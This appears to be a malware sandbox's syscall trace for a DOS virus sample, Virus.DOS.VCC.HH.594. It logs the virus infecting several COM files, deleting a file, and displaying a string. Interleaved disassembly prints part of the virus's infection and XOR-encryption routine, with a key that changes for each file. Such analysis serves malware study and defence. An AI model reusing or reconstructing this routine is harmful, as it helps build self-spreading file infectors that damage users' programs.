Sample viewer

vx.netlux.org/Virus.DOS.VCC.HH.594

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:39:34.195851795Z 26 PC: 12e55 | Set disk transfer address
2018-12-17T22:39:34.19839691Z 37 PC: 12e63 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:39:34.203184139Z 37 PC: 12e67 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:39:34.226706294Z 78 PC: 12eb6 | Find first file
2018-12-17T22:39:34.233780864Z 61 PC: 13004 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:39:34.242353095Z 63 PC: 13013 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:39:34.249888442Z 66 PC: 13023 | Move file pointer
2018-12-17T22:39:34.251897301Z 66 PC: 13033 | Move file pointer
2018-12-17T22:39:34.254307942Z 64 PC: 1303f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:39:34.257623223Z 66 PC: 1304c | Move file pointer
2018-12-17T22:39:34.259596275Z 44 PC: 13050 | Get time 0x13050: mov byte ptr ds:[bp + 0x352], dl
0x13055: call 0x1306b
0x13058: mov ah, 0x40
0x1305a: mov cx, 0x252
0x1305d: lea dx, word ptr [bp + 0x106]
0x13061: int 0x21
0x13063: call 0x1306b
0x13066: mov ah, 0x3e
0x13068: int 0x21
0x1306a: ret
0x1306b: lea si, word ptr [bp + 0x120]
0x1306f: mov cx, 0x213
0x13072: xor byte ptr [si], 0x2a
0x13075: inc si
0x13076: dec cx
0x13077: jne 0x13072
0x13079: ret
0x1307a: add word ptr [bx], di
0x1307c: aas
0x1307d: aas
2018-12-17T22:39:34.262845944Z 64 PC: 13063 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T22:39:34.279259761Z 62 PC: 1306a | Close file
2018-12-17T22:39:34.294092689Z 79 PC: 12eb6 | Find next file
2018-12-17T22:39:34.300901284Z 61 PC: 13004 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:39:34.326736297Z 63 PC: 13013 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:39:34.334412569Z 66 PC: 13023 | Move file pointer
2018-12-17T22:39:34.337165012Z 66 PC: 13033 | Move file pointer
2018-12-17T22:39:34.341969266Z 64 PC: 1303f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:39:34.346598736Z 66 PC: 1304c | Move file pointer
2018-12-17T22:39:34.359602595Z 44 PC: 13050 | Get time 0x13050: mov byte ptr ds:[bp + 0x352], dl
0x13055: call 0x1306b
0x13058: mov ah, 0x40
0x1305a: mov cx, 0x252
0x1305d: lea dx, word ptr [bp + 0x106]
0x13061: int 0x21
0x13063: call 0x1306b
0x13066: mov ah, 0x3e
0x13068: int 0x21
0x1306a: ret
0x1306b: lea si, word ptr [bp + 0x120]
0x1306f: mov cx, 0x213
0x13072: xor byte ptr [si], 0x49
0x13075: inc si
0x13076: dec cx
0x13077: jne 0x13072
0x13079: ret
0x1307a: add word ptr [bx], di
0x1307c: aas
0x1307d: aas
2018-12-17T22:39:34.362860526Z 64 PC: 13063 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T22:39:34.372180053Z 62 PC: 1306a | Close file
2018-12-17T22:39:34.389972067Z 79 PC: 12eb6 | Find next file
2018-12-17T22:39:34.413718303Z 61 PC: 13004 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:39:34.427552123Z 63 PC: 13013 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:39:34.448529242Z 66 PC: 13023 | Move file pointer
2018-12-17T22:39:34.451674817Z 66 PC: 13033 | Move file pointer
2018-12-17T22:39:34.453664108Z 64 PC: 1303f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:39:34.457047402Z 66 PC: 1304c | Move file pointer
2018-12-17T22:39:34.460559084Z 44 PC: 13050 | Get time 0x13050: mov byte ptr ds:[bp + 0x352], dl
0x13055: call 0x1306b
0x13058: mov ah, 0x40
0x1305a: mov cx, 0x252
0x1305d: lea dx, word ptr [bp + 0x106]
0x13061: int 0x21
0x13063: call 0x1306b
0x13066: mov ah, 0x3e
0x13068: int 0x21
0x1306a: ret
0x1306b: lea si, word ptr [bp + 0x120]
0x1306f: mov cx, 0x213
0x13072: xor byte ptr [si], 0x54
0x13075: inc si
0x13076: dec cx
0x13077: jne 0x13072
0x13079: ret
0x1307a: add word ptr [bx], di
0x1307c: aas
0x1307d: aas
2018-12-17T22:39:34.463503365Z 64 PC: 13063 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T22:39:34.483507683Z 62 PC: 1306a | Close file
2018-12-17T22:39:34.494639081Z 79 PC: 12eb6 | Find next file
2018-12-17T22:39:34.49862205Z 61 PC: 13004 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:39:34.506895796Z 63 PC: 13013 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:39:34.516196904Z 66 PC: 13023 | Move file pointer
2018-12-17T22:39:34.518295783Z 66 PC: 13033 | Move file pointer
2018-12-17T22:39:34.52057486Z 64 PC: 1303f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:39:34.524442085Z 66 PC: 1304c | Move file pointer
2018-12-17T22:39:34.527652457Z 44 PC: 13050 | Get time 0x13050: mov byte ptr ds:[bp + 0x352], dl
0x13055: call 0x1306b
0x13058: mov ah, 0x40
0x1305a: mov cx, 0x252
0x1305d: lea dx, word ptr [bp + 0x106]
0x13061: int 0x21
0x13063: call 0x1306b
0x13066: mov ah, 0x3e
0x13068: int 0x21
0x1306a: ret
0x1306b: lea si, word ptr [bp + 0x120]
0x1306f: mov cx, 0x213
0x13072: xor byte ptr [si], 0x59
0x13075: inc si
0x13076: dec cx
0x13077: jne 0x13072
0x13079: ret
0x1307a: add word ptr [bx], di
0x1307c: aas
0x1307d: aas
2018-12-17T22:39:34.530812276Z 64 PC: 13063 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T22:39:34.847261545Z 62 PC: 1306a | Close file
2018-12-17T22:39:34.857827469Z 79 PC: 12eb6 | Find next file
2018-12-17T22:39:34.861399325Z 61 PC: 13004 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:39:34.874849407Z 63 PC: 13013 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:39:34.903512804Z 66 PC: 13023 | Move file pointer
2018-12-17T22:39:34.906410001Z 66 PC: 13033 | Move file pointer
2018-12-17T22:39:34.910686708Z 64 PC: 1303f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:39:34.919191896Z 66 PC: 1304c | Move file pointer
2018-12-17T22:39:34.924529281Z 44 PC: 13050 | Get time 0x13050: mov byte ptr ds:[bp + 0x352], dl
0x13055: call 0x1306b
0x13058: mov ah, 0x40
0x1305a: mov cx, 0x252
0x1305d: lea dx, word ptr [bp + 0x106]
0x13061: int 0x21
0x13063: call 0x1306b
0x13066: mov ah, 0x3e
0x13068: int 0x21
0x1306a: ret
0x1306b: lea si, word ptr [bp + 0x120]
0x1306f: mov cx, 0x213
0x13072: xor byte ptr [si], 0x5f
0x13075: inc si
0x13076: dec cx
0x13077: jne 0x13072
0x13079: ret
0x1307a: add word ptr [bx], di
0x1307c: aas
0x1307d: aas
2018-12-17T22:39:34.927635521Z 64 PC: 13063 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T22:39:34.938255083Z 62 PC: 1306a | Close file
2018-12-17T22:39:34.948338581Z 26 PC: 12ed0 | Set disk transfer address
2018-12-17T22:39:34.950592025Z 9 PC: 12ee8 | Display string (Could not find end pointer)
2018-12-17T22:39:34.987068706Z 19 PC: 12efd | Delete file
2018-12-17T22:39:34.994685738Z 9 PC: 12f30 | Display string (String= '????????OV?')